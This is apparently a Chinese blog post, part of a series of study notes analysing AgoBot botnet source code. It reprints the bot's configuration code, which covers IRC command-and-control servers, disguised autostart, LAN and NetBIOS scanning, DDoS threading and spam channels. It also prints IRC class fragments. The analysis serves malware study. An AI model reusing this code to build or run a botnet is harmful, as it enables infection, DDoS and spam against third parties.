AgoBot 殭屍網絡研究筆記(五)

 

五、08年03月06日

作者:青青子衿

email:[email protected]

1、 random.h文件分析,該文件中函數的作用應該是完成產生隨機函數相關功能,存在三個函數

(1) void   init_random ();   函數,初始化隨機因子

void   init_random () 

      srand ( GetTickCount ()); 

}

(2) int   brandom ( int   bot , int   top );    函數,產生一個指定範圍的隨機數

////////////////////////////////////////////////////////////

//

//函數功能:產生一個指定範圍的隨機數

//參數:   int bot 隨機數範圍的下限

//       int top   隨機數範圍的上線

//返回值:int  返回值爲產生的隨機數

//

//////////////////////////////////////////////////////////////

int   brandom ( int   bot int   top

  return  ( int )(( float )( top - bot )* rand ()/( RAND_MAX +1.0))+ bot

}

(3)、 int   get_random_number ( int   range );   函數, 產生一個0——range的隨機函數

////////////////////////////////////////////////////////////////

//

//函數功能:產生一個0——range的隨機函數

//參數:   int range   產生隨機數範圍的上限

//返回值:   返回值爲產生的隨機數

//

/////////////////////////////////////////////////////////////////

int   get_random_number ( int   range

  return   rand ()% range ;

}

2 class   CBot  :  public   CCommandHandler    類的分析

有10個成員函數:

public :

  CBot ();

  void   Init ();

  void   Config ();

  void   Recv ( CMessage  * pMsg );

  bool   HandleMsg ( CMessage  * pMsg );

  bool   Think ();

  CString   SysInfo ();

  CString   LongUptime ( int   iDays );

CString   Status ();

若干個成員變量:

  bool   m_bJoined ;

  unsigned   long   m_lStartTime ;

cvar    類型的變量若干個

command    類型的變量若干個

irc_server   類型的變量若干個

類的結構大概就這樣的情況,由於該類比較複雜,具體分析將在後便逐步展開。

3 void   CBot :: Config ()   配置文件子函數,主要功能是配置bot的服務器IP,頻道名稱,端口號,等信息,對於這個bot的有效運行非常重要。該成員還是也是 CBot 類的初始化函數 void Init(); 中首先調用的一個函數。

void   CBot :: Config ()

{  

  init_random ();

  int   iCryptKey =10; 

  CString   sTemp

  sTemp . Format ( "%d" brandom (500, 22226));   //產生500至22226之間的一個隨機數,作爲bot端的端口

  //這裏設置的是cBot類中的成員變量中irc_server類型的變量中包含的子類型變量的值。

 

  // void RegisterCvar(cvar *pCvar,   const char *szName, const char *szValue, const char *szDescription, bool bSave, bool bEncrypted, int iKey);

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick , "bot_compnick" , "false" , "CompName Generated Nick" , false , false ,0);  

 

  // The root server, this will be the most often used one

  //對主IRC服務器的設置

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_chanpass ,   "si_server_root.chanpass"

    "" ,                 "Server Info - Channel Password" ,   false false , 0 );     //頻道的密碼

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_mainchan ,   "si_server_root.mainchan"  

    "#channel" ,             "Server Info - Main Channel" ,     false false , 0 );     //(主)頻道名

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_nickprefix ,   "si_server_root.nickprefix" ,

    "Ago-" ,               "Server Info - Nickname prefix" ,   false false , 0 );     //暱稱前綴

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_port ,     "si_server_root.port"    

    "6667" ,               "Server Info - Server Port" ,     false false , 0 );     //IRC服務器的端口

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_server ,     "si_server_root.server"  

    "irc.somewhere.org" ,       "Server Info - Server Address" ,     false false , 0 );     //IRC服務器的域名或IP

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_servpass ,   "si_server_root.servpass"

    "" ,                 "Server Info - Server Password" ,   false false , 0 );       //IRC服務器登錄密碼

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_usessl ,     "si_server_root.use_ssl"

    "false" ,             "Server Info - Use SSL ?" ,       false false , 0 );     //是否使用SSL加密

 

  g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServerRoot );   //將主服務器信息,添加到服務器信息列表中l;

  // Backup server 0   對第0個後備IRC服務器的設置

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_chanpass ,     "si_server_0.chanpass" , /

    "" ,                 "Server Info - Channel Password" ,   false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_mainchan ,     "si_server_0.mainchan" , /

    "#channel" ,             "Server Info - Main Channel" ,     false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_nickprefix ,   "si_server_0.nickprefix" , /

    "Ago-" ,               "Server Info - Nickname prefix" ,   false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_port ,       "si_server_0.port" , /

    "6667" ,               "Server Info - Server Port" ,     false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_server ,     "si_server_0.server" , /

    "irc2.somewhere.org" ,       "Server Info - Server Address" ,     false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_servpass ,     "si_server_0.servpass" , /

    "" ,                 "Server Info - Server Password" ,   false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_usessl ,     "si_server_0.use_ssl" , /

    "false" ,             "Server Info - Use SSL ?" ,       false false , 0 );

  g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServer0 );   //將主服務器信息,添加到服務器信息列表中

//從這裏直接設置的是cBot類中的個成員變量。

  //猜測is表示bot端到IRC服務器的通訊

  //猜測si標識IRC服務器到bot端的通訊

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_chanpass ,     "si_chanpass" ,     "" ,               "Server Info - Channel Password" ,           false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_mainchan ,     "si_mainchan" ,     "" ,               "Server Info - Main Channel" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_nickprefix ,   "si_nickprefix" ,   "" ,               "Server Info - Nickname prefix" ,           false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_port ,       "si_port" ,       "" ,               "Server Info - Server Port" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_server ,     "si_server" ,     "" ,               "Server Info - Server Address" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_servpass ,     "si_servpass" ,     "" ,               "Server Info - Server Password" ,           false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_usessl ,     "si_usessl" ,     "" ,               "Server Info - Use SSL ?" ,               false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_nick ,       "si_nick" ,       "" ,               "Server Info - Nickname" ,               false ,   false ,   0       );

 

  //關於Bot的信息,

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_version ,     "bot_version" ,     VERSION_AGOBOT ,         "Bot - Version" ,                   false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_filename ,     "bot_filename" ,     "filename.exe" ,         "Bot - Runtime Filename" ,               false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_id ,       "bot_id" ,       "a3-100" ,           "Bot - Current ID" ,                   false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_prefix ,     "bot_prefix" ,     "." ,             "Bot - Command Prefix" ,                 false ,   false ,   0       );   //命令前綴

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_ftrans_port ,   "bot_ftrans_port" ,   sTemp . CStr (),         "Bot - File Transfer Port" ,               false ,   false ,   0       );   //文件傳輸的端口

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_timeout ,     "bot_timeout" ,     "720000" ,           "Bot - Timeout for receiving in miliseconds" ,     false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_seclogin ,     "bot_seclogin" ,     "false" ,           "Bot - Enable login only by channel messages" ,     false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick ,     "bot_compnick" ,     "false" ,           "Bot - Use the computer name as a nickname" ,     false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& as_valname ,     "as_valname" ,     "Configuration Loader" ,     "Autostart - Value Name" ,               false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& as_enabled ,     "as_enabled" ,     "true" ,             "Autostart - Enabled" ,                 false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& scan_maxthreads ,   "scan_maxthreads" ,   "100" ,             "Scanner - Maximum Number of threads" ,         false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto ,     "scan_auto" ,     "true" ,             "Scanner - Autoscan local network" ,           false ,   false ,   0       );  //是否自動掃描本地網絡(局域網)

  g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto ,     "scan_auto_nb" ,     "true" ,             "Scanner - Autoscan LAN for NetBIOS" ,         false ,   false ,   0       );  //是否自動使用

  g_cMainCtrl . m_cCVar . RegisterCvar (& ddos_maxthreads ,   "ddos_maxthreads" ,   "100" ,             "DDOS - Maximum Number of threads" ,           false ,   false ,   0       );  //DOS攻擊時的最大線程數

  g_cMainCtrl . m_cCVar . RegisterCvar (& redir_maxthreads ,   "redir_maxthreads" ,   "100" ,             "Redirect - Maximum Number of threads" ,         false ,   false ,   0       );  //應該與代理相關,具體的作用還不清楚

 

  g_cMainCtrl . m_cCVar . RegisterCvar (& identd_enabled ,   "identd_enabled" ,   "false" ,           "IdentD - Enable the server" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_channel ,   "spam_aol_channel" ,   "#aolspam" ,           "AOL Spam - Channel name" ,               false ,   false ,   0       );  //作用還不清楚

  g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_enabled ,   "spam_aol_enabled" ,   "true" ,           "AOL Spam - Channel name" ,                 false ,   false ,   0       );  //作用還不清楚

  //將前面設置的g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServerRoot);放進去的信息,取出來,對&g_cMainCtrl.m_cBot中的信息進行設置

  //前面所設置的信息是保存在Irc_resever類中的,在這裏再將這些信息放回cBot類中

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_chanpass g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_chanpass . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_mainchan g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_mainchan . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_nickprefix g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_nickprefix . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_port . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_server . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_servpass . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_usessl g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_usessl . sValue . CStr ());

  // Use MD5 Passwords, for security reasons

  g_cMainCtrl . m_cMac . AddUser ( "User" ,       "MYMD5HASHWILLBEBIGBADANDLONGHEHE" ,   "Netmask.Net" ,   ""   );   // "password"

}

4、由於在 Config (); 函數中使用到了 CIRC 的內容,所以這裏決定再過CBot類剩餘成員函數功能的分析,先來最 CIRC 類進行一個初步的分析。

以下是對CIRC類的分析。

class   CIRC  :  public   CThread public   CCommandHandler    同時繼承了 CThread 和  CCommandHandler  兩個類

其中包括12個成員函數:並且12個成員函數均爲公有函數

  CIRC ();

  virtual  ~ CIRC () { };

  virtual   void  * Run ();

  void   Init ();

  bool   HandleCommand ( CMessage  * pMsg );

  bool   SendRaw ( char  * szMsg );

  bool   SendRawFormat ( const   char  * szFmt , ...);

  bool   SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst );

  bool   SendFormat ( bool   bSilent bool   bNotice char  * szDst const   char  * szFmt , ...);

  void   Fail ();

  void   Disconnect ();

CString   NetInfo ();

以及多個成員變量: 也均爲公有類型

  CSSLSocket        m_csslSocket ;   // The SSL socket

  bool            m_bConnected ;   // Am I connected ?

  bool            m_bJoined ;     // Have I joined the channel ?

  bool            m_bRunning ;     // Am I still running ?

  int            m_sSocket ;     // The socket connected to the server

  int            m_iFailCount ;   // Number of failed connections to the server

  int            m_iServerNum ;   // The current server index in vector

  unsigned   long        m_lLastRecv ;   // Last recv time for timeout

  CString          m_sLocalHost ;   // The local hostname

  CString          m_sLocalIp ;     // The local ip

  unsigned   long        m_lLocalAddr ;   // The local address as unsigned long

     command   m_cmdDisconnect m_cmdAction m_cmdGetEdu m_cmdGetHost m_cmdJoin ,     m_cmdMode m_cmdNetInfo m_cmdPart m _cmd PrivMsg m_cmdQuit m_cmdRaw m_cmdReconnect m_cmdServer ;

vector < irc_server *>   m_vServers ;

下面是 irc_server 結構體的具體定義

//記錄IRC服務器信息的結構體

typedef   struct   irc_server_s

{  

  cvar   si_nickprefix ;     //暱稱的前綴

  cvar   si_servpass ;     //服務器的密碼

  cvar   si_server ;       //服務器

  cvar   si_port ;       //端口

  cvar   si_chanpass ;     //頻道的密碼

  cvar   si_mainchan ;     //頻道的名稱

  cvar   si_usessl ;       //使用ssl加密協議的情況

irc_server ;

(1) CIRC ()    構造函數

/////////////////////////////////////////////////////

//

//函數功能:構造函數,對類的變量進行初始化等工作

//

/////////////////////////////////////////////////////

CIRC :: CIRC () 

{

  // Initialize/Clear all variables

  m_bRunning = true

  m_bConnected = false

  m_bJoined = false ;

  m_sSocket = INVALID_SOCKET

  m_iFailCount =0; 

  m_iServerNum =0;

  m_sLocalHost . Assign ( "" );  // Clear the localhost to prevent crash with servers that don't do userhost

  m_lLastRecv = GetTickCount ();     //獲得當前的時間

  // Initialize SSL Socket

  m_csslSocket . Init (); 

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章